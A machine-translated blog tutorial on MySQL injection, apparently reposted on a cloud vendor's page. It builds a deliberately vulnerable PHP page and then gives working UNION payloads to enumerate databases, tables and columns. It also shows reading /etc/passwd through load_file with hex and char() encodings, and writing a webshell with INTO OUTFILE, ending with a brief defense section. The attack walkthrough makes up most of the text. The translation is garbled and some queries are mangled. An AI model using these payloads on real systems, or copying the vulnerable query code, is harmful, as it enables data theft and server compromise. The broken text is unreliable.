MySQL Injection and defense

Source: Internet
Author: User
Tags explode mysql injection sql injection

Read Catalogue

    • 1. Introduction
    • 1.1. Meaning
    • 1.2. Injection principle
    • 1.3. Harm
    • 2. Injection of knowledge and example analysis
    • 2.1, injection of common knowledge
    • 2.2. Injection process
    • 2.3. Example Analysis
    • A, Construction injection environment
    • B, Find injection point
    • c, determine the database type
    • D, break the number of this table field (for the use of Union to pave)
    • E, view the specific version number
    • F, explosion chart
    • G, burst Field
    • H, explosive content
    • 2.4. Use Load_file () and outfile for intrusion
    • A, knowledge cushion
    • B, Load_file () function
    • C, outfile invasion
    • 3. Defense methods
    • 4. Summary
    • 5. Reference documents

Why do I have to be clear about the layout and the content of the topic?

Because I was searching the relevant SQL injection of the essay blog, see a lot of many are the page super chaotic. Dear Garden Friends, in the future regardless of writing blog articles or usually write various kinds of articles also need a number of hearts, pay attention to the layout and content of the organizational issues. Of course, I am only doing it in general at this point.

Back to top 1, introduction back to top 1.1, meaning

In one application, the security of data is undoubtedly the most important. The final destination of data is the database, so how to ensure that the database is not compromised by malicious attackers is an important and serious problem!

As a popular attack method, SQL injection has been widely concerned by network security researchers and hackers. So what is SQL injection? SQL injection is an attack technique in which an attacker can attack a malicious SQL command by inserting a malicious SQL command into a Web form's input domain or a query string in a page request to spoof the server.

Want to better defense SQL injection, of course, to understand how attackers attack, he knows that, Yum is not dangerous!

Back to top 1.2, injection principle

The essence of SQL injection is that a malicious attacker inserts or adds SQL code into the program's parameters, and the program does not properly process the incoming parameters, causing the data in the parameter to be executed as code and eventually returning the execution result to the attacker

Back to top 1.3, harm

With SQL injection vulnerability, an attacker can manipulate data in a database (such as obtaining confidential data from a database, arbitrarily changing data in a database, deleting a database, and so on), and can also hang a horse after getting certain permissions, or even gain administrator privileges for the entire server. Because SQL injection submits malicious SQL statements through the normal port of the website (typically port 80), there is no difference on the surface from normal access sites, which is very high if you do not look closely at the Web logs to find such attacks. Once the program has a SQL injection vulnerability, the harm is quite large, so we should pay enough attention to this.

Back to top 2, inject knowledge and examples to resolve back to top 2.1, injection of common knowledge

Common functions:

1 system_user () #系统用户名2 user ()    #返回MYSQL用户名 3 current_user ()  #当前用户名4 session_user () 
    #连接数据库的用户名5 Database ()   #返回当前数据库名6 version ()    #返回当前数据库版本信息7 load_file ()    #返回文件的内容 "Attack for read Take this example file, the attack greatly "8 into outfile ' physical path ' #将结果输出" attack in the use of the malicious script injected into the system "
#有用的系统库:
Information_schema
MySQL is more than 5.0 version of the default installation after the INFORMATION_SCHEMA database, INFORMATION_SCHEMA provides access to the database metadata, is the MySQL information database, It holds information about all the other databases maintained by the MySQL server, which can be used to see which databases are created on the server, which tables are in the database, what fields are in the table, and which are useful for injection. "Use it to explode a table, explode fields, explode content"
ordinal table name key field
1 Sche MATA Schemata_name (representing the database name)
2 TABLES Tables_table_schema (indicates The name of the database to which the table belongs), table_name (the name of the table)

3

COLUMNS table_schema (indicates the database name to which the table belongs ), table_name (indicates the name of the table to which it belongs),  column_name (representing the field name)
Injection form:
1, Union Select 1,schemata_name,3 from INFORMATION_SCHEMA. Schemata Limit 2,1
2, Union select 1,table_name,3 from INFORMATION_SCHEMA. TABLES where tables_table_schema= ' database_name ' limit 2,1
3, union select 1,column_name,3 from INFORMATION_SCHEMA. COLUMNS where table_name= ' table_name ' limit 2,1
Note: This is only a form of writing that can be injected without any defensive measures. When there is a filter for escaping single quotes, then the above statement is certainly unsuccessful and must be modified before it succeeds.
Injection tips:
1, when we inject, if the space is processed by the filtering mechanism, then we can use comments to generate spaces. Example: select/**/1,2,3
2. When using union to query, you need the corresponding data type "remember to remember"; for example, the first column in front of the union is int, and then it doesn't correspond to a string.
Back to top 2.2, injection process

1. Determine the scripting language used by the web system, discover the injection point, and determine if there is a SQL injection vulnerability

2. Determine the database type of the web system

3. Determine the structure of tables and corresponding fields in the database

4. Construct the injection statement to get the data content in the table

5. Locate the webmaster and log in with the Administrator account and password you obtained

6. Combine other loopholes and try to upload a Webshell

7. Further power to obtain the system privileges of the server

(Note: The above is the general process, according to the actual situation, the circumstances may be different.) )

Back to top 2.3, instance parsing back to top A, construction injection environment

Set up two sheets

CREATE DATABASE test88;
Use test88;
CREATE TABLE ' admin ' ( ' id ' int (one) not null auto_increment, ' name ' varchar (+) DEFAULT NULL, ' password ' Varc Har (+) DEFAULT NULL, PRIMARY KEY (' id ')); CREATE TABLE ' goods ' (' id ' int (one) not null auto_increment, ' name ' varchar (+) default NULL, ' brand ' varchar (+) Default NUL L,primary KEY (' id '));

test2.php file

1 header (' Content-type:text/html;charset=utf8 '); 2 $link =mysql_connect (' 127.0.0.1 ', ' root ', ' 321 '); 3 Mysql_set_charset (' UTF8 '); 4 mysql_select_db (' test88 '); 5 $id =$_get[' id ']; 6 $sql = "Select*from admin where id=". $id; 7 echo "<pre>"; 8 Print_r ($sql);      #查看SQL语句 9 echo "</pre>", $result =mysql_query ($sql), one while ($rec =mysql_fetch_assoc ($result)) {     echo "<pre>";     print_r ($REC);    #查询结果15     echo "</pre>"; 16}
Back to Top B, Find injection point

"SQL statement for: $sql =" Select*from admin where id= ". $id; # ( in the code); no filtering, direct injection "

Normal Access: www.linuxtest.com/test2.php?id=1

Find Injection points:

1, non-normal access to www.linuxtest/test2.php?id=1 ', the results returned to an abnormal page, indicating that there may be an injection node exists, continue the following validation

2, continue the non-normal access www.linuxtest/test2.php?id=1 and 1=1, results returned to normal page

3, continue the non-normal access to www.linuxtest/test2.php?id=1 and 1=2, the results returned to the abnormal page, there is an injection node, you can directly after the id=1 to increase the attack SQL statement

(Of course, we test the SQL statement data is not processed, the simplest and most vulnerable to attack, so easy "just do an example")

" Other SQL1 statements: $sql =" Select*from admin where id= $id ";

Same as above

" Other SQL2 statement: $sql =" Select*from admin where id= ' {$id} ' ";

There is an injection point at this point, but we must eliminate the single quotation mark in order to insert the corresponding attack SQL, by:

    • Add (and ' =) to be eliminated; For example: test2.php?id=1 ' union select and ' =; result sql: Select*from admin where id= ' 1 ' union select ' =
    • Add (and "="), (Union Select 1, 2, ' 3), and so on. Similarly
    • Use annotations (--) to remove the Note: One drawback is that there is a great chance of error in a complex sq statement; For example: test2.php?id=1 ' Union Select------comments ; result sql: Select*from admin where id= ' 1 ' union select---Comments '
    • 。。。。。 The method is endless, own research
Back to top C, judging the database type

Visit: http://www.linuxtest.com/test2.php?id=1 and Ord (Mid (Version (), >51))

 

Return to normal page description This database version is greater than 4.0 and can be queried using Uinon. The reverse is 4.0 or the other type of database

Back to top D, break the number of this table field (to pave the way with union)

Method One: Guess the Method! (2233) For example: Access www.linuxtest.com/test2.php?id=1 Union select 1,2[,3,....., n]; n is the number of columns of this table until no error is generated

Method Two: Use order by to sort, and use the dichotomy, guess guess! Example: Access www.linuxtest.com/test2.php?id=1 order BY [1|2|3|....| n]; In accordance with Section [1|2|3|...| N] column, as long as the result is normal, it means that the number of columns in this table is greater than or equal to this number (we can guess by dichotomy!) )

Character Big Bang, a guess I guessed! (223333)

Back to top E, view specific version number

Use the version (), and database () functions to view specific database version numbers and the databases used at this time

Access: www.linuxtest.com/test2.php?id=1 Union Select 1,version (), Database ()

The results show that: 1, MySQL database version is 5.5, more than 5.0, there is information_schema database ; 2, the database used at this time is test88

Back to the top F, explode the table

" at this point we assume that the goods table is the admin's account password list ."

Explode the first name of the table:

Visit www.linuxtest.com/test2.php? id=100 Union select 1,table_name,3 from INFORMATION_SCHEMA. TABLES where table_schema= ' test88 ' limit 0,1

Explode the second name of the table:

Visit www.linuxtest.com/test2.php? id=100 Union select 1,table_name,3 from INFORMATION_SCHEMA. TABLES where table_schema= ' test88 ' limit

"And so you know, find the table you want."

The results show that we found the Administrator account password list.

Back to top g, explode field

Similarly

Access: www.linuxtest.com/test2.php?id=100 Union select 1,column_name,3 from Information_schema.columns where Table_name= ' Goods ' limit 0,1

And so on, find all the fields you want. (Field has, name, brand)

Back to top H, explode content

Access: www.linuxtest.com/test2.php?id=100 Union select 1,name,brand from goods limit 0,1

"And so on, get what you want"

Back to top 2.4, use Load_file () and outfile for intrusion back to top a, knowledge foreshadowing

We all know that in MySQL, the arguments in the function if they are strings must be in single quotes or double quotes around the string type match in the main, where.

However, we can use the hexadecimal character (0x**) or ASCII (char (*)) to represent it. "No more quotes at this time"

Example:

Therefore, when we use the function to inject the single quotation mark is filtered, then there will be an error!

At this point we can use the hexadecimal or ASCII decimal of the string to inject!

Back to top B, load_file () function

Load_file is the function that MySQL uses to read local files, as the name implies, is to load the file, we are here to display the contents of the file. When I can read and write the files in the system, then the damage caused by this attack to the Web application will be immeasurable!

  first of all , we determine whether the MySQL has read and write permissions, at the point of injection plus this SQL to detect, return to normal page is to have read and write permission! "and (select COUNT (*) from Mysql.user) >0"

After confirming that we have read and write permissions, we can then inject load_file ().

You can use this function to read the system's sensitive files, to find the configuration file, find the database connection file, find the social work file, find the Web physical path and so on

Test: Get the contents of/etc/passwd files in Linux

  mode One (plaintext string): Access www.linuxtest.com/test2.php?id=1 Union Select 1,load_file ('/etc/passwd '), 3

"Note: single quotes are not filtered at this time."

mode Two (ASCII code decimal): Access www.linuxtest.com/test2.php?id=1 Union Select 1,load_file (char ( 47,101,116,99,47,112,97,115,115,119,100)), 3

"Note: (/etc/passwd) The ASCII code of the string is 47,101,116,99,47,112,97,115,115,119,100"

  Way Three (string hex): Access www.linuxtest.com/test2.php?id=1 Union select 1,2,load_file (0x2f6574632f706173737764)

"Note: (/etc/passwd) The hex of the string is 0x2f6574632f706173737764"

 Problem solving:

Through the Load_file can be listed directory, read the file, but encountered the file format encoding may encounter garbled problems. This problem can be solved by using the subString function in MySQL, subString (string, start, return).

For example: Substring (Load_file (A), 50,100) is the 50th letter of the content of a, which begins to echo 100 to you.

Access www.linuxtest.com/test2.php?id=1 Union Select 1,2,substring (Load_file (0x2f6574632f706173737764), 50,100)

Back to top C, outfile intrusion

The role of outfile in MySQL is to output the results of a query to a file

For example: Select ' Hello word ' into outfile '/a.txt ' here is speaking ' Hello word ' output to/a.txt (Linux system)

Prerequisites:

1. Get the physical path (into outfile ' physical path ') so that you can write to the directory
2, can use union (that is, need to MYSQL3 above version)
3, the other side did not filter (because the outfile behind "can not use other functions instead of conversion)
4, that is, the MySQL user has File_priv permissions (otherwise you can not write files or read the contents of the file)
5, the Web directory has write access to MS Systems generally have permissions, but Linux is usually rwxr-xr-x that is, the group and other users do not have permission to write operations

 corresponding conditions resolved:

  1, we can generally rely on database error information to burst out, if not, you can also through the load_file () to get

2, the above example resolution step C has introduced the detection method

3, also rare to "'" Filter

4, 2.4B has introduced the inspection method (this depends on how much permission the user running MySQL has)

5, generally more test upload directory, picture directory, or most of them have read and write permission

Test: Output data to '/use/local/mysql/data ' because I have a relatively low user right to run MySQL, and if the test is more convenient then run MySQL with root! 】

Access www..linuxtest.com/test2.php?id=1 Union Select outfile '/usr/local/mysql/data/aaa.txt '

Write 123 to System/usr/local/mysql/data/aaa.txt "123 can be changed to the attack code you want"

  Combined with the picture below, we learned that my wife was successful!

But why did it go wrong?

"Note":

Q: When the site does not upload to you, or the site filter upload content, then how to do?

A: Use a string hexadecimal code or ASCII code instead

 form of Use:

1, Union Select 1,load_file (/www/home/html/upload/qingyafengping.jpg "You have uploaded the file"), 3,4,5,6 into outfile '/www/home/html /coder.php '/

2, Union Select 1,char ("Hexadecimal code of the string or ASCII decimal code"), 3,4,5,6 into outfile '/www/home/html/coder.php '

3 、。。。。 Wait a minute

Back to top 3, defense method

We learned from the previous explanation that in order to successfully exploit SQL injection vulnerability, it is necessary to satisfy two conditions, one is that the attacker can control the user's input, and the injected code is executed successfully. The following content is mainly about these two aspects to unfold.

The idea of "defending from the source " means that the parameters passed from other places need to be handled correctly before entering the database. There are several main aspects of the

1. bind data type via JS in the form, or filter some illegal characters

2. When connecting to a database, use precompiled statements, bind variables "PHP uses MYSQLI, PDO for connection using database"

3, in the data into the background logic, the first to verify the parameters passed in to ensure that the standards defined in the application. There are mainly white list and blacklist two methods to achieve. In theory, the whitelist is more secure than the blacklist because it allows only the data defined in the whitelist to pass, and all other data is filtered out. The blacklist only filters data that is defined in the blacklist (such as some dangerous characters in SQL injection) and is usually implemented using regular expressions. However, it is important to note that because the blacklist cannot contain all of the dangerous characters, there may be situations where the blacklist is bypassed. For example, in MySQL injection, when the white space characters are filtered in the blacklist, we can use "/* (Note in MySQL)" and "+" instead of spaces, and bypass the blacklist restrictions continue to inject, so we should try to use the whitelist as much as possible.

Back to top 4, summary

This article has been sorted out for a long time, after all, rookie level also need to slowly test the calibration, in order to draw the corresponding conclusions. In fact, there are many things about MySQL, such as wide-byte injection, data filtering and how to bypass data filtering, detailed defense methods and procedures, and so on, but it has been written too long, so the MySQL injection of defense simply wrote a general method, the specific no test check paste out, Another day to write an article on MySQL injection defense (the content, the step is of course to be detailed)

Write this article harvest or quite a lot of, this is not the first time to contact the problem of MySQL injection, but whenever re-contact and learn to summarize before the content will have a new harvest and experience, the understanding of knowledge will be more profound!

MySQL Injection and defense

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.